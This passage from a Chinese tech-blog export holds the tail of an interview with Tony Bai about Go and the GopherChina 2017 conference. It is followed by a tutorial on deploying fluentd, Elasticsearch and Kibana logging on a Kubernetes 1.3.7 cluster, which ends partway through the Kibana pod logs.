framework、gofmt、Go pprof工具的表现也是让我感觉用起来十分舒服。\n如果非要说当时有什么不足之处的话，那只能是Go对debugging的支持明显不足。即便是到了目前最新的Go 1.8版本，Go在debugging方面虽然有所改善，但和C这样的传统语言来说依然有很大差距。不过好在我们有“print”这个无敌调试武器，Go的这个不足对我影响微乎甚微^0^。\n当然随着Go在更多规模稍大项目的使用，Go的包管理问题逐渐浮出水面，这也是整个Go社区都想改进的事情。好在目前已经有了专门的Commitee来做这件事，最新的roadmap显示dep工具将在Go 1.10 dev cycle并入Go tools中。\n3、2009年诞生至今，Go语言基本统治了云计算，作为最专业的Go语言专家，您认为这是由于它的哪些优雅的特性？Golang未来还会有什么样的改进和突破？ “作为最专业的Go语言专家”，这一称号的确不敢当。我觉得我个人只是国内Gopher普通一员，能为Go语言在国内的发展做点事情就很高兴了^0^。\nGo自从1.5版本自举后，随着ssa优化、GC延迟优化的深入，Go在国内外的使用趋势确实是一片大好，尤其是Go问鼎2016年TIOBE编程语言排行榜的年度语言，让更多的程序员知道Go语言、了解Go语言和使用Go语言。在云计算成为当今IT行业常态的今天，Go在这方面已然成为一个重量级选手。从个人对Go的情感角度出发，我个人是希望Go语言能成为”21世纪的C语言”和云平台第一语言的。不过这是一个过程，需要时间，还需要依靠全世界Gopher和Go Community的共同努力才能实现的。\n时代不同，语言的成长环境也有所不同。和上一代和两代的语言似乎有所不同，新一代编程语言是否能进入程序员们的法眼，是否值得程序员去投资，“背景”很重要，即所谓的编程语言也进入了“拼爹”时代。Go语言背靠Google这棵大树，又有Robert Griesemer, Ken Thompson, Rob Pike三巨头坐镇，是真正的“牛二代”，它自然就会得到不少程序员的青睐。我想这是Go吸引眼球的场外因素。\n至于Go本身的语言特性，在上一个问题中，我已经做了初步阐述了，这里再补充几点：\n* Go是一门以解决Google内部生产环境中的问题（大规模并发服务）为目标的、兼顾在语言设计层面解决一些软件工程问题的面向大规模并发服务的编程语言； * 开发效率较高(对比主流的C、C++和Java)，且执行效率与C相比，没有数量级级别的差异； * 编译速度超快（相对其他需编译的主流语言），无需喝咖啡等待； * Go1兼容性的承诺。 Go语言到目前已经演进到1.8版本，Go 1.9开发周期已经打开。今年夏天，Go 1.9发布后，Go似乎就到了版本演进的关键节点，是继续Go1兼容（Go 1.10、Go 1.11…），还是诞生Go2规范，目前并没有明确信息。不过未来的改进和突破，我觉得还是应该建立在Go语言设计的初衷和设计原则之上，这些初衷和原则包括：\n目标： * 高效的静态编译语言 * 动态语言的易用性 * 类型安全和内存安全 * 对并发和通信的良好支持 * 高效、低/趋于零延迟的GC * 高速编译 原则： * 保持概念正交 * 保持语法简单 * 保持类型系统精炼，无type hierarchy 从这些年Go的发展来看，基本都是遵循以上目标和原则的。即便Go2出来，不符合上述原则的feature，也是很难加入到Go2里面的。\n4、之前是否有关注到Gopher China大会，对大会的风格和内容有什么样的印象？ 对于中国大陆地区规模最大，最具影响力的Go大会，我是从第一届就开始关注了，虽然第一届因故没能参加^0^。在去年举行的第二届大会，我是作为早鸟观众参与的哦。而本届则有幸成为讲师。\nGopherChina从诞生至今，规模日益扩大，据说今年的参会人员可能突破1000人。而且GopherChina大会从第一届就汇聚了国内一线IT厂商的精英技术人员作为讲师，并得到了Go core team的大力支持。在每一届大会都会邀请到Go team中的核心开发人员参会布道，甚至在第一届大会时还邀请到了Go三巨头之一的Robert Griesemer，极大满足了国内Gopher的求知欲。\n而且就我观察，每一届GopherChina大会的主题都涵盖：语言、工程、新兴领域应用等多个环节，颇具多样性和全面性。\n5、作为讲师也是参会者，对于今年的Gopher China大会的哪些议题有所期待？ GopherChina每一届都是高手云集，这届也不例外。今年大会的每个议题都令我很是期待。\n6、现在很多企业项目都在准备转Go，对于这些项目的负责人有没有建议和经验分享？ Go语言以极易上手著称，同时Go也是一门十分简单的语言（相对于其他主流语言），C、Cpp、Java、Python等程序员转型到Go的曲线并不陡峭，因此团队整体转型为Go的门槛并不高。但还是要有几点是项目负责人需要认真考虑的：\n(1) 确认Go适合项目的应用场景 Go不是万能的，不能为了用Go而去用Go。但Go从最初定位为一门系统语言(Sytem Programming Language)逐渐演化成为一门通用语言(General Purpose Programming Language)，说明其适应性和应用范围已经十分广泛，目前在云计算、Web开发、大数据、游戏、数据库、IDE、容器等领域均有大规模应用案例。但即便这样，仍然在有些领域的应用需要谨慎，比如嵌入式领域、比如mobile开发，虽然在这两个方面Go都做出了很大的努力，但似乎并没有较大的突破。\n(2) 以终为始，从开始就参考Go的最佳实践 Go经过若干年的演化发展，逐渐形成了一些最佳实践，包括：项目代码组织、命名、惯用法、测试方法、错误处理、接口使用等。建议多看官方的talks、blog和世界范围内Go大会的presentation video。\n(3) 单元测试全程保障 Go内置了单元测试框架，而单元测试是检验代码设计好坏的基础，也是代码重构的先决条件。建议项目从始至终都要优先考虑对代码编写测试代码。\n(4) 充分利用标准库 在Go的应用实践中，你会发现Go标准库已经为你提供了大部分你要使用的功能。甚至有一些极端的Go纯粹主义者只愿意标准库中的函数和方法。Go标准库凝聚了Go team以及相关Contributor的Go代码精华，其稳定性绝对值得信赖。充分和广泛利用标准库也便于项目代码组织、构建和迁移。\n(5) 基于go tool建立代码metric视图 对于那些性能敏感的系统，建议在内部环境基于go tool建立起代码的metric视图，监控代码变化给系统性能等带来的影响，利于问题诊断。\n最后，请及时反馈Go语言自身问题，你的反馈是Go语言演化的动力。\n7、有没有你觉得很酷的Gopher？可以回答自己哟～ 在github.com/golang/go上，我经常关注Russ Cox的代码。众所周知，Russ Cox是Go核心代码提交次数最多的member，他也除三巨头之外，对Go演化影响着最大的人之一。从近两年的Go team开发活动来看，Russ Cox开发效率很高，并且提出的proposal思维之缜密和全面令人叹服。\nDave Cheney是另一个我经常关注的Gopher，他也是第二届GopherChina大会的受邀讲师。他不遗余力的“鼓吹”Go，并从Go 1.6版本开始，发起了Go Global release party ，成为Go Community又一个节日。他不仅是Go community中的意见领袖，同时也为Go社区贡献不少有用的工具和思想，包括：gb、errors等。\nDmitry Vyukov，前Intel Black Belt级工程师，现Google员工，虽然他不是专职Go team的人，但他却是Go scheduler当前版本的核心实现者。虽然近两年似乎在golang的投入并不是那么多，但依然成果丰硕，Go Execution Tracer、go-fuzz(据说要加入go核心)都是他的杰作。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/04/06/an-interview-with-me-as-a-lecturer-of-gopherchina-2017/","summary":"\u003cp\u003e今年有幸收到\u003ca href=\"http://www.gopherchina.org/\"\u003eGopherChina大会\u003c/a\u003e的组织者、\u003ca href=\"https://beego.me/\"\u003ebeego开源项目\u003c/a\u003e的owner、《\u003ca href=\"https://book.douban.com/subject/24316255/\"\u003eGo Web编程\u003c/a\u003e》的作者\u003ca href=\"http://weibo.com/533452688\"\u003e谢孟军\u003c/a\u003e童鞋的邀请，以讲师身份参加今年的GopherChina大会。下面是GopherChina对我这个讲师的专访稿^0^。该专访稿将同时被发布在公众号“Go中国(微信号：golangchina)”上面，可点击\u003ca href=\"https://mp.weixin.qq.com/s?__biz=MjM5OTcxMzE0MQ==\u0026amp;mid=2653369932\u0026amp;idx=1\u0026amp;sn=2b89c8253c759714db5dc4fccb96c6e6\u0026amp;chksm=bce4d6568b935f4068e2456429ca37a257ff24237533b718fc64cd445be98452757693ada141\u0026amp;mpshare=1\u0026amp;scene=1\u0026amp;srcid=0405G8XuCfBVfkPTz2skitFO\u0026amp;key=880a8f11cadd9c38c88dbfeaa37bee078b8460ae535cbcb5940e7e73f779bfb674d9e70c633715041ee796cba46e4386a598cab68296084cf1d1965ad31b7ff5c442b390931511a054b34f7dff127979\u0026amp;ascene=0\u0026amp;uin=MTYwMzM0NjYyMQ%3D%3D\u0026amp;devicetype=iMac+MacBookAir6%2C2+OSX+OSX+10.9.2+build(13C64)\u0026amp;version=11020201\u0026amp;pass_ticket=ubemadJo5Ju2NkXnKepVV1ToSJYfkOGXgXuETKrjwLLow4B4h2Ufk0enGSRNk9cn\"\u003e这里\u003c/a\u003e阅读。\u003c/p\u003e\n\u003ch4 id=\"1首先介绍一下自己\"\u003e1、首先介绍一下自己。\u003c/h4\u003e\n\u003cp\u003e大家好！我叫白明（Tony Bai），目前是东软云科技的一名架构师，专职于服务端开发，日常工作主要使用Go语言。我算是国内较早接触Go语言的程序员兼Advocater了，平时在我的\u003ca href=\"http://tonybai.com/\"\u003e博客\u003c/a\u003e、\u003ca href=\"http://weibo.com/bigwhite20xx/\"\u003e微博\u003c/a\u003e和微信公众号“iamtonybai”上经常发表一些关于Go语言的文章和Go生态圈内的信息。\u003c/p\u003e","title":"GopherChina讲师专访"},{"content":"在本篇文章中，我们继续来说Kubernetes。\n经过一段时间的探索，我们先后完成了Kubernetes集群搭建，DNS、Dashboard、Heapster等插件安装，集群安全配置，搭建作为Persistent Volume的CephRBD，以及服务更新等探索和实现工作。现在Kubernetes集群层面的Logging需求逐渐浮上水面了。\n随着一些小应用在我们的Kubernetes集群上的部署上线，集群的运行迈上了正轨。但问题随之而来，那就是如何查找和诊断集群自身的问题以及运行于Pod中应用的问题。日志，没错！我们也只能依赖Kubernetes组件以及Pod中应用输出的日志。不过目前我们仅能通过kubectl logs命令或Kubernetes Dashboard来查看Log。在没有cluster level logging的情况下，我们需要分别查看各个Pod的日志，操作繁琐，过程低效。我们迫切地需要为Kubernetes集群搭建一套集群级别的集中日志收集和分析设施。\n对于任何基础设施或后端服务系统，日志都是极其重要的。对于受Google内部容器管理系统Borg启发而催生出的Kubernetes项目来说，自然少不了对Logging的支持。在“Logging Overview“中，官方概要介绍了Kubernetes上的几个层次的Logging方案，并给出Cluster-level logging的参考架构：\nKubernetes还给出了参考实现：\n– Logging Backend：Elastic Search stack(包括：Kibana)\n– Logging-agent：fluentd\nElasticSearch stack实现的cluster level logging的一个优势在于其对Kubernetes集群中的Pod没有侵入性，Pod无需做任何配合性改动。同时EFK/ELK方案在业内也是相对成熟稳定的。\n在本文中，我将为我们的Kubernetes 1.3.7集群安装ElasticSearch、Fluentd和Kibana。由于1.3.7版本略有些old，EFK能否在其上面run起来，我也是心中未知。能否像《生化危机：终章》那样有一个完美的结局，我们还需要一步一步“打怪升级”慢慢看。\n一、Kubernetes 1.3.7集群的 “漏网之鱼” Kubernetes 1.3.7集群是通过kube-up.sh搭建并初始化的。按照K8s官方文档有关elasticsearch logging的介绍，在kubernetes/cluster/ubuntu/config-default.sh中，我也发现了下面几个配置项：\n// kubernetes/cluster/ubuntu/config-default.sh # Optional: Enable node logging. ENABLE_NODE_LOGGING=false LOGGING_DESTINATION=${LOGGING_DESTINATION:-elasticsearch} # Optional: When set to true, Elasticsearch and Kibana will be setup as part of the cluster bring up. ENABLE_CLUSTER_LOGGING=false ELASTICSEARCH_LOGGING_REPLICAS=${ELASTICSEARCH_LOGGING_REPLICAS:-1} 显然，当初如果搭建集群伊始时要是知道这些配置的意义，可能那个时候就会将elastic logging集成到集群中了。现在为时已晚，集群上已经跑了很多应用，无法重新通过kube-up.sh中断集群运行并安装elastic logging了。我只能手工进行安装了！\n二、镜像准备 1.3.7源码中kubernetes/cluster/addons/fluentd-elasticsearch下的manifest已经比较old了，我们直接使用kubernetes最新源码中的manifest文件：\nk8s.io/kubernetes/cluster/addons/fluentd-elasticsearch$ ls *.yaml es-controller.yaml es-service.yaml fluentd-es-ds.yaml kibana-controller.yaml kibana-service.yaml 分析这些yaml，我们需要三个镜像：\ngcr.io/google_containers/fluentd-elasticsearch:1.22 gcr.io/google_containers/elasticsearch:v2.4.1-1 gcr.io/google_containers/kibana:v4.6.1-1 显然镜像都在墙外。由于生产环境下的Docker引擎并没有配置加速器代理，因此我们需要手工下载一下这三个镜像。我采用的方法是通过另外一台配置了加速器的机器上的Docker引擎将三个image下载，并重新打tag，上传到我在hub.docker.com上的账号下，以elasticsearch:v2.4.1-1为例：\n# docker pull gcr.io/google_containers/elasticsearch:v2.4.1-1 # docker tag gcr.io/google_containers/elasticsearch:v2.4.1-1 bigwhite/elasticsearch:v2.4.1-1 # docker push bigwhite/elasticsearch:v2.4.1-1 下面是我们在后续安装过程中真正要使用到的镜像：\nbigwhite/fluentd-elasticsearch:1.22 bigwhite/elasticsearch:v2.4.1-1 bigwhite/kibana:v4.6.1-1 三、启动fluentd fluentd是以DaemonSet的形式跑在K8s集群上的，这样k8s可以保证每个k8s cluster node上都会启动一个fluentd(注意：将image改为上述镜像地址，如果你配置了加速器，那自然就不必了)。\n# kubectl create -f fluentd-es-ds.yaml --record daemonset \u0026quot;fluentd-es-v1.22\u0026quot; created 查看daemonset中的Pod的启动情况，我们发现：\nkube-system fluentd-es-v1.22-as3s5 0/1 CrashLoopBackOff 2 43s 172.16.99.6 10.47.136.60 kube-system fluentd-es-v1.22-qz193 0/1 CrashLoopBackOff 2 43s 172.16.57.7 10.46.181.146 fluentd Pod启动失败，fluentd的日志可以通过/var/log/fluentd.log查看：\n# tail -100f /var/log/fluentd.log 2017-03-02 02:27:01 +0000 [info]: reading config file path=\u0026quot;/etc/td-agent/td-agent.conf\u0026quot; 2017-03-02 02:27:01 +0000 [info]: starting fluentd-0.12.31 2017-03-02 02:27:01 +0000 [info]: gem 'fluent-mixin-config-placeholders' version '0.4.0' 2017-03-02 02:27:01 +0000 [info]: gem 'fluent-mixin-plaintextformatter' version '0.2.6' 2017-03-02 02:27:01 +0000 [info]: gem 'fluent-plugin-docker_metadata_filter' version '0.1.3' 2017-03-02 02:27:01 +0000 [info]: gem 'fluent-plugin-elasticsearch' version '1.5.0' 2017-03-02 02:27:01 +0000 [info]: gem 'fluent-plugin-kafka' version '0.4.1' 2017-03-02 02:27:01 +0000 [info]: gem 'fluent-plugin-kubernetes_metadata_filter' version '0.24.0' 2017-03-02 02:27:01 +0000 [info]: gem 'fluent-plugin-mongo' version '0.7.16' 2017-03-02 02:27:01 +0000 [info]: gem 'fluent-plugin-rewrite-tag-filter' version '1.5.5' 2017-03-02 02:27:01 +0000 [info]: gem 'fluent-plugin-s3' version '0.8.0' 2017-03-02 02:27:01 +0000 [info]: gem 'fluent-plugin-scribe' version '0.10.14' 2017-03-02 02:27:01 +0000 [info]: gem 'fluent-plugin-td' version '0.10.29' 2017-03-02 02:27:01 +0000 [info]: gem 'fluent-plugin-td-monitoring' version '0.2.2' 2017-03-02 02:27:01 +0000 [info]: gem 'fluent-plugin-webhdfs' version '0.4.2' 2017-03-02 02:27:01 +0000 [info]: gem 'fluentd' version '0.12.31' 2017-03-02 02:27:01 +0000 [info]: adding match pattern=\u0026quot;fluent.**\u0026quot; type=\u0026quot;null\u0026quot; 2017-03-02 02:27:01 +0000 [info]: adding filter pattern=\u0026quot;kubernetes.**\u0026quot; type=\u0026quot;kubernetes_metadata\u0026quot; 2017-03-02 02:27:02 +0000 [error]: config error file=\u0026quot;/etc/td-agent/td-agent.conf\u0026quot; error=\u0026quot;Invalid Kubernetes API v1 endpoint https://192.168.3.1:443/api: 401 Unauthorized\u0026quot; 2017-03-02 02:27:02 +0000 [info]: process finished code=256 2017-03-02 02:27:02 +0000 [warn]: process died within 1 second. exit. 从上述日志中的error来看：fluentd访问apiserver secure port(443)出错了：Unauthorized! 通过分析 cluster/addons/fluentd-elasticsearch/fluentd-es-image/build.sh和td-agent.conf，我们发现是fluentd image中的fluent-plugin-kubernetes_metadata_filter要去访问API Server以获取一些kubernetes的metadata信息。不过未做任何特殊配置的fluent-plugin-kubernetes_metadata_filter，我猜测它使用的是kubernetes为Pod传入的环境变量：KUBERNETES_SERVICE_HOST和KUBERNETES_SERVICE_PORT来得到API Server的访问信息的。但API Server在secure port上是开启了安全身份验证机制的，fluentd直接访问必然是失败的。\n我们找到了fluent-plugin-kubernetes_metadata_filter项目在github.com上的主页，在这个页面上我们看到了fluent-plugin-kubernetes_metadata_filter支持的其他配置，包括：ca_file、client_cert、client_key等，显然这些字眼非常眼熟。我们需要修改一下fluentd image中td-agent.conf的配置，为fluent-plugin-kubernetes_metadata_filter增加一些配置项，比如：\n// td-agent.conf ... ... \u0026lt;filter kubernetes.**\u0026gt; type kubernetes_metadata ca_file /srv/kubernetes/ca.crt client_cert /srv/kubernetes/kubecfg.crt client_key /srv/kubernetes/kubecfg.key \u0026lt;/filter\u0026gt; ... ... 这里我不想重新制作image，那么怎么办呢？Kubernetes提供了ConfigMap这一强大的武器，我们可以将新版td-agent.conf制作成kubernetes的configmap资源，并挂载到fluentd pod的相应位置以替换image中默认的td-agent.conf。\n需要注意两点：\n* 在基于td-agent.conf创建configmap资源之前，需要将td-agent.conf中的注释行都删掉，否则生成的configmap的内容可能不正确；\n* fluentd pod将创建在kube-system下，因此configmap资源也需要创建在kube-system namespace下面，否则kubectl create无法找到对应的configmap。\n# kubectl create configmap td-agent-config --from-file=./td-agent.conf -n kube-system configmap \u0026quot;td-agent-config\u0026quot; created # kubectl get configmaps -n kube-system NAME DATA AGE td-agent-config 1 9s # kubectl get configmaps td-agent-config -o yaml apiVersion: v1 data: td-agent.conf: | \u0026lt;match fluent.**\u0026gt; type null \u0026lt;/match\u0026gt; \u0026lt;source\u0026gt; type tail path /var/log/containers/*.log pos_file /var/log/es-containers.log.pos time_format %Y-%m-%dT%H:%M:%S.%NZ tag kubernetes.* format json read_from_head true \u0026lt;/source\u0026gt; ... ... fluentd-es-ds.yaml也要随之做一些改动，主要是增加两个mount: 一个是mount 上面的configmap td-agent-config，另外一个就是mount hostpath：/srv/kubernetes以获取到相关client端的数字证书：\nspec: containers: - name: fluentd-es image: bigwhite/fluentd-elasticsearch:1.22 command: - '/bin/sh' - '-c' - '/usr/sbin/td-agent 2\u0026gt;\u0026amp;1 \u0026gt;\u0026gt; /var/log/fluentd.log' resources: limits: memory: 200Mi #requests: #cpu: 100m #memory: 200Mi volumeMounts: - name: varlog mountPath: /var/log - name: varlibdockercontainers mountPath: /var/lib/docker/containers readOnly: true - name: td-agent-config mountPath: /etc/td-agent - name: tls-files mountPath: /srv/kubernetes terminationGracePeriodSeconds: 30 volumes: - name: varlog hostPath: path: /var/log - name: varlibdockercontainers hostPath: path: /var/lib/docker/containers - name: td-agent-config configMap: name: td-agent-config - name: tls-files hostPath: path: /srv/kubernetes 接下来，我们重新创建fluentd ds，步骤不赘述。这回我们的创建成功了：\nkube-system fluentd-es-v1.22-adsrx 1/1 Running 0 1s 172.16.99.6 10.47.136.60 kube-system fluentd-es-v1.22-rpme3 1/1 Running 0 1s 172.16.57.7 10.46.181.146 但通过查看/var/log/fluentd.log，我们依然能看到“问题”：\n2017-03-02 03:57:58 +0000 [warn]: temporarily failed to flush the buffer. next_retry=2017-03-02 03:57:59 +0000 error_class=\u0026quot;Fluent::ElasticsearchOutput::ConnectionFailure\u0026quot; error=\u0026quot;Can not reach Elasticsearch cluster ({:host=\u0026gt;\\\u0026quot;elasticsearch-logging\\\u0026quot;, :port=\u0026gt;9200, :scheme=\u0026gt;\\\u0026quot;http\\\u0026quot;})!\u0026quot; plugin_id=\u0026quot;object:3fd99fa857d8\u0026quot; 2017-03-02 03:57:58 +0000 [warn]: suppressed same stacktrace 2017-03-02 03:58:00 +0000 [warn]: temporarily failed to flush the buffer. next_retry=2017-03-02 03:58:03 +0000 error_class=\u0026quot;Fluent::ElasticsearchOutput::ConnectionFailure\u0026quot; error=\u0026quot;Can not reach Elasticsearch cluster ({:host=\u0026gt;\\\u0026quot;elasticsearch-logging\\\u0026quot;, :port=\u0026gt;9200, :scheme=\u0026gt;\\\u0026quot;http\\\u0026quot;})!\u0026quot; plugin_id=\u0026quot;object:3fd99fa857d8\u0026quot; 2017-03-02 03:58:00 +0000 [info]: process finished code=9 2017-03-02 03:58:00 +0000 [error]: fluentd main process died unexpectedly. restarting. 由于ElasticSearch logging还未创建，这是连不上elasticsearch所致。\n四、启动elasticsearch 启动elasticsearch：\n# kubectl create -f es-controller.yaml replicationcontroller \u0026quot;elasticsearch-logging-v1\u0026quot; created # kubectl create -f es-service.yaml service \u0026quot;elasticsearch-logging\u0026quot; created get pods： kube-system elasticsearch-logging-v1-3bzt6 1/1 Running 0 7s 172.16.57.8 10.46.181.146 kube-system elasticsearch-logging-v1-nvbe1 1/1 Running 0 7s 172.16.99.10 10.47.136.60 elastic search logging启动成功后，上述fluentd的fail日志就没有了！\n不过elastic search真的运行ok了么？我们查看一下elasticsearch相关Pod日志：\n# kubectl logs -f elasticsearch-logging-v1-3bzt6 -n kube-system F0302 03:59:41.036697 8 elasticsearch_logging_discovery.go:60] kube-system namespace doesn't exist: the server has asked for the client to provide credentials (get namespaces kube-system) goroutine 1 [running]: k8s.io/kubernetes/vendor/github.com/golang/glog.stacks(0x19a8100, 0xc400000000, 0xc2, 0x186) ... ... main.main() elasticsearch_logging_discovery.go:60 +0xb53 [2017-03-02 03:59:42,587][INFO ][node ] [elasticsearch-logging-v1-3bzt6] version[2.4.1], pid[16], build[c67dc32/2016-09-27T18:57:55Z] [2017-03-02 03:59:42,588][INFO ][node ] [elasticsearch-logging-v1-3bzt6] initializing ... [2017-03-02 03:59:44,396][INFO ][plugins ] [elasticsearch-logging-v1-3bzt6] modules [reindex, lang-expression, lang-groovy], plugins [], sites [] ... ... [2017-03-02 03:59:44,441][INFO ][env ] [elasticsearch-logging-v1-3bzt6] heap size [1007.3mb], compressed ordinary object pointers [true] [2017-03-02 03:59:48,355][INFO ][node ] [elasticsearch-logging-v1-3bzt6] initialized [2017-03-02 03:59:48,355][INFO ][node ] [elasticsearch-logging-v1-3bzt6] starting ... [2017-03-02 03:59:48,507][INFO ][transport ] [elasticsearch-logging-v1-3bzt6] publish_address {172.16.57.8:9300}, bound_addresses {[::]:9300} [2017-03-02 03:59:48,547][INFO ][discovery ] [elasticsearch-logging-v1-3bzt6] kubernetes-logging/7_f_M2TKRZWOw4NhBc4EqA [2017-03-02 04:00:18,552][WARN ][discovery ] [elasticsearch-logging-v1-3bzt6] waited for 30s and no initial state was set by the discovery [2017-03-02 04:00:18,562][INFO ][http ] [elasticsearch-logging-v1-3bzt6] publish_address {172.16.57.8:9200}, bound_addresses {[::]:9200} [2017-03-02 04:00:18,562][INFO ][node ] [elasticsearch-logging-v1-3bzt6] started [2017-03-02 04:01:15,754][WARN ][discovery.zen.ping.unicast] [elasticsearch-logging-v1-3bzt6] failed to send ping to [{#zen_unicast_1#}{127.0.0.1}{127.0.0.1:9300}] SendRequestTransportException[[][127.0.0.1:9300][internal:discovery/zen/unicast]]; nested: NodeNotConnectedException[[][127.0.0.1:9300] Node not connected]; ... ... Caused by: NodeNotConnectedException[[][127.0.0.1:9300] Node not connected] at org.elasticsearch.transport.netty.NettyTransport.nodeChannel(NettyTransport.java:1141) at org.elasticsearch.transport.netty.NettyTransport.sendRequest(NettyTransport.java:830) at org.elasticsearch.transport.TransportService.sendRequest(TransportService.java:329) ... 12 more 总结了一下，日志中有两个错误：\n- 无法访问到API Server，这个似乎和fluentd最初的问题一样；\n- elasticsearch两个节点间互ping失败。\n要想找到这两个问题的原因，还得回到源头，去分析elastic search image的组成。\n通过cluster/addons/fluentd-elasticsearch/es-image/run.sh文件内容：\n/elasticsearch_logging_discovery \u0026gt;\u0026gt; /elasticsearch/config/elasticsearch.yml chown -R elasticsearch:elasticsearch /data /bin/su -c /elasticsearch/bin/elasticsearch elasticsearch 我们了解到image中，其实包含了两个程序，一个为/elasticsearch_logging_discovery，该程序执行后生成一个配置文件： /elasticsearch/config/elasticsearch.yml。该配置文件后续被另外一个程序：/elasticsearch/bin/elasticsearch使用。\n我们查看一下已经运行的docker中的elasticsearch.yml文件内容：\n# docker exec 3cad31f6eb08 cat /elasticsearch/config/elasticsearch.yml cluster.name: kubernetes-logging node.name: ${NODE_NAME} node.master: ${NODE_MASTER} node.data: ${NODE_DATA} transport.tcp.port: ${TRANSPORT_PORT} http.port: ${HTTP_PORT} path.data: /data network.host: 0.0.0.0 discovery.zen.minimum_master_nodes: ${MINIMUM_MASTER_NODES} discovery.zen.ping.multicast.enabled: false 这个结果中缺少了一项：\ndiscovery.zen.ping.unicast.hosts: [\u0026quot;172.30.0.11\u0026quot;, \u0026quot;172.30.192.15\u0026quot;] 这也是导致第二个问题的原因。综上，elasticsearch logging的错误其实都是由于/elasticsearch_logging_discovery无法访问API Server导致 /elasticsearch/config/elasticsearch.yml没有被正确生成造成的，我们就来解决这个问题。\n我查看了一下/elasticsearch_logging_discovery的源码，elasticsearch_logging_discovery是一个典型通过client-go通过service account访问API Server的程序，很显然这就是我在《在Kubernetes Pod中使用Service Account访问API Server》一文中提到的那个问题：默认的service account不好用。\n解决方法：在kube-system namespace下创建一个新的service account资源，并在es-controller.yaml中显式使用该新创建的service account。\n创建一个新的serviceaccount在kube-system namespace下：\n//serviceaccount.yaml apiVersion: v1 kind: ServiceAccount metadata: name: k8s-efk # kubectl create -f serviceaccount.yaml -n kube-system serviceaccount \u0026quot;k8s-efk\u0026quot; created # kubectl get serviceaccount -n kube-system NAME SECRETS AGE default 1 139d k8s-efk 1 17s 在es-controller.yaml中，使用service account “k8s-efk”：\n//es-controller.yaml ... ... spec: replicas: 2 selector: k8s-app: elasticsearch-logging version: v1 template: metadata: labels: k8s-app: elasticsearch-logging version: v1 kubernetes.io/cluster-service: \u0026quot;true\u0026quot; spec: serviceAccount: k8s-efk containers: ... ... 重新创建elasticsearch logging service后，我们再来查看elasticsearch-logging pod的日志：\n# kubectl logs -f elasticsearch-logging-v1-dklui -n kube-system [2017-03-02 08:26:46,500][INFO ][node ] [elasticsearch-logging-v1-dklui] version[2.4.1], pid[14], build[c67dc32/2016-09-27T18:57:55Z] [2017-03-02 08:26:46,504][INFO ][node ] [elasticsearch-logging-v1-dklui] initializing ... [2017-03-02 08:26:47,984][INFO ][plugins ] [elasticsearch-logging-v1-dklui] modules [reindex, lang-expression, lang-groovy], plugins [], sites [] [2017-03-02 08:26:48,073][INFO ][env ] [elasticsearch-logging-v1-dklui] using [1] data paths, mounts [[/data (/dev/vda1)]], net usable_space [16.9gb], net total_space [39.2gb], spins? [possibly], types [ext4] [2017-03-02 08:26:48,073][INFO ][env ] [elasticsearch-logging-v1-dklui] heap size [1007.3mb], compressed ordinary object pointers [true] [2017-03-02 08:26:53,241][INFO ][node ] [elasticsearch-logging-v1-dklui] initialized [2017-03-02 08:26:53,241][INFO ][node ] [elasticsearch-logging-v1-dklui] starting ... [2017-03-02 08:26:53,593][INFO ][transport ] [elasticsearch-logging-v1-dklui] publish_address {172.16.57.8:9300}, bound_addresses {[::]:9300} [2017-03-02 08:26:53,651][INFO ][discovery ] [elasticsearch-logging-v1-dklui] kubernetes-logging/Ky_OuYqMRkm_918aHRtuLg [2017-03-02 08:26:56,736][INFO ][cluster.service ] [elasticsearch-logging-v1-dklui] new_master {elasticsearch-logging-v1-dklui}{Ky_OuYqMRkm_918aHRtuLg}{172.16.57.8}{172.16.57.8:9300}{master=true}, added {{elasticsearch-logging-v1-vjxm3}{cbzgrfZATyWkHfQYHZhs7Q}{172.16.99.10}{172.16.99.10:9300}{master=true},}, reason: zen-disco-join(elected_as_master, [1] joins received) [2017-03-02 08:26:56,955][INFO ][http ] [elasticsearch-logging-v1-dklui] publish_address {172.16.57.8:9200}, bound_addresses {[::]:9200} [2017-03-02 08:26:56,956][INFO ][node ] [elasticsearch-logging-v1-dklui] started [2017-03-02 08:26:57,157][INFO ][gateway ] [elasticsearch-logging-v1-dklui] recovered [0] indices into cluster_state [2017-03-02 08:27:05,378][INFO ][cluster.metadata ] [elasticsearch-logging-v1-dklui] [logstash-2017.03.02] creating index, cause [auto(bulk api)], templates [], shards [5]/[1], mappings [] [2017-03-02 08:27:06,360][INFO ][cluster.metadata ] [elasticsearch-logging-v1-dklui] [logstash-2017.03.01] creating index, cause [auto(bulk api)], templates [], shards [5]/[1], mappings [] [2017-03-02 08:27:07,163][INFO ][cluster.routing.allocation] [elasticsearch-logging-v1-dklui] Cluster health status changed from [RED] to [YELLOW] (reason: [shards started [[logstash-2017.03.01][3], [logstash-2017.03.01][3]] ...]). [2017-03-02 08:27:07,354][INFO ][cluster.metadata ] [elasticsearch-logging-v1-dklui] [logstash-2017.03.02] create_mapping [fluentd] [2017-03-02 08:27:07,988][INFO ][cluster.metadata ] [elasticsearch-logging-v1-dklui] [logstash-2017.03.01] create_mapping [fluentd] [2017-03-02 08:27:09,578][INFO ][cluster.routing.allocation] [elasticsearch-logging-v1-dklui] Cluster health status changed from [YELLOW] to [GREEN] (reason: [shards started [[logstash-2017.03.02][4]] ...]). elasticsearch logging启动运行ok！\n五、启动kibana 有了elasticsearch logging的“前车之鉴”，这次我们也把上面新创建的serviceaccount：k8s-efk显式赋值给kibana-controller.yaml:\n//kibana-controller.yaml ... ... spec: serviceAccount: k8s-efk containers: - name: kibana-logging image: bigwhite/kibana:v4.6.1-1 resources: # keep request = limit to keep this container in guaranteed class limits: cpu: 100m #requests: # cpu: 100m env: - name: \u0026quot;ELASTICSEARCH_URL\u0026quot; value: \u0026quot;http://elasticsearch-logging:9200\u0026quot; - name: \u0026quot;KIBANA_BASE_URL\u0026quot; value: \u0026quot;/api/v1/proxy/namespaces/kube-system/services/kibana-logging\u0026quot; ports: - containerPort: 5601 name: ui protocol: TCP ... ... 启动kibana，并观察pod日志：\n# kubectl create -f kibana-controller.yaml # kubectl create -f kibana-service.yaml # kubectl logs -f kibana-logging-3604961973-jby53 -n kube-system ELASTICSEARCH_URL=http://elasticsearch-logging:9200 server.basePath: /api/v1/proxy/namespaces/kube-system/services/kibana-logging 